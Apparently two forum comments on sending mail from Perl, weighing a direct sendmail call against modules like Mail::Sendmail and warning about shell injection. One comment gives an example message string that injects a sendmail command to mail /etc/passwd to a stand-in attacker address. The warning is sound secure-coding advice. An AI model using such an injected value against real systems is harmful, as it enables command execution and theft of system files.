Not portable, works only on unix (and only where sendmail is in /usr/sbin)
My personal choice is to use something like Mail::Sendmail or MIME::Lite which provides a nice level of abstraction and reduces the chance of errors. It also means less typing which is definatly a good thing.
gav^
Comment on Re: Re: Sending SMTP mail on other than port 25
This is not only a bad thing(tm) and not faster
but it tempts people to pass args to the command
line which can be very dangerous.
For the speed issue, invoking sendmail is yet
another process which will cause delays, especially if
you have to send many messages to different people
with different content.
For the bad thing(tm) if you do not remove or escape all
possible shell meta chars from the message body
you can provide an interface to run arbitrary commands.
Assume a message on unix systems that was
"Hi\nHere is the password file\n;sendmail -t badguy@someplace.com cat /etc/passwd"
or (if I recall) using & on NT systems you can get similar results.